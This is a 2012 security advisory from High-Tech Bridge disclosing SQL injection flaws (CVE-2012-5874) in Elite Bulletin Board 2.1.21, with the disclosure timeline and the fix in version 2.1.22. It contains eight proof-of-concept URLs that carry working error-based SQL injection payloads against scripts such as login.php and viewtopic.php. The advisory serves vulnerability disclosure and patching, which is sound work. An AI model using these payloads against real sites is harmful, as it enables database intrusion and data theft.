Multiple SQL Injection Vulnerabilities in Elite Bulletin Board

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Advisory ID:	HTB23133
Product:	Elite Bulletin Board
Vendor:	Elite Bulletin Board
Vulnerable Versions:	2.1.21 and probably prior
Tested Version:	2.1.21
Advisory Publication:	November 28, 2012 [without technical details]
Vendor Notification:	November 28, 2012
Vendor Fix:	December 6, 2012
Public Disclosure:	December 19, 2012
Latest Update:	December 7, 2012
Vulnerability Type:	SQL Injection [CWE-89]
CVE Reference:	CVE-2012-5874
Risk Level:	High

CVSSv2 Base Score:	7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status:	Fixed by Vendor
Discovered and Provided:	High-Tech Bridge Security Research Lab
Advisory Details:
High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in Elite Bulletin Board, which can be exploited to perform SQL injection attacks. 1) Multiple SQL injection vulnerabilities in Elite Bulletin Board: CVE-2012-5874 The vulnerabilities exist due to insufficient sanitation of user-supplied data in URI in the "update_whosonline_reg()" and "update_whosonline_guest()" functions within the "/includes/user_function.php" script. A remote attacker can send a specially crafted HTTP request to one of the following scripts and execute arbitrary SQL commands in application's database: - checkuser.php - groups.php - index.php - login.php - quicklogin.php - register.php - Search.php - viewboard.php - viewtopic.php Successful exploitation of the vulnerabilities may allow attacker to extract sensitive data from the application's database, and even get complete control over the application under certain conditions (such as insecure configuration of database and web servers). The following PoC (Proof of Concept) codes demonstrate the vulnerabilities by displaying version of the MySQL server: http://[host]/checkuser.php/%27,%28%28selectfrom%28select%20name_const%28ve rsion%28%29,1%29,name_co nst%28version%28%29,1%29%29a%29%29%29%20--%20/ http://[host]/groups.php/% 27,%28%28selectfrom%28select%20name_const%28version%28%29,1%29,name_const %28version%28%29,1%29%29a%29%29%29%20--%20/ http://[host]/index.php/%27,% 28%28selectfrom%28select%20name_const%28version%28%29,1%29,name_const% 28version%28%29,1%29%29a%29%29%29%20--%20/ http://[host]/login.php/%27,%2 8%28selectfrom%28select%20name_const%28version%28%29,1%29,name_const% 28version%28%29,1%29%29a%29%29%29%20--%20/ http://[host]/quicklogin.php/% 27,%28%28selectfrom%28select%20name_const%28version%28%29,1%29,name_c onst%28version%28%29,1%29%29a%29%29%29%20--%20/ http://[host]/register.ph p/%27,%28%28selectfrom%28select%20name_const%28version%28%29,1%29,name_con st%28version%28%29,1%29%29a%29%29%29%20--%20/ http://[host]/viewboard.php /%27,%28%28selectfrom%28select%20name_const%28version%28%29,1%29,name_co nst%28version%28%29,1%29%29a%29%29%29%20--%20/?bid=2 http://[host]/viewto pic.php/%27,%28%28selectfrom%28select%20name_const%28version%28%29,1%29,nam e_co nst%28version%28%29,1%29%29a%29%29%29%20--%20/?bid=2&tid=1
How to Detect SQL Injection Vulnerabilities Website Security Test GDPR & PCI DSS Test Website CMS Security Test CSP & HTTP Headers Check WordPress & Drupal Scanning Try For Free Solution:
Upgrade to Elite Bulletin Board v2.1.22 More Information: http://elite-board.us/Community/viewtopic.php?bid=1&tid=310 http://sourceforge.net/projects/elite-board/files/Elite%20Bulletin%20Board%20v2/2.1.22/

References:
[1] High-Tech Bridge Advisory HTB23133 - https://www.immuniweb.com/advisory/HTB23133 - Multiple SQL Injection Vulnerabilities in Elite Bulletin Board. [2] Elite Bulletin Board - http://elite-board.us/ - Elite Bulletin Board is an advanced Bulletin Board program that provides advanced features such as CAPTCHA, sub-board, skinning ability, multilingual, commercial password encryption, and much more. [3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures. [4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.

Previous Security Advisories with CWE-89:

HTB23132: SQL Injection Vulnerability in ImageCMS

HTB23126: Multiple vulnerabilities in Achievo

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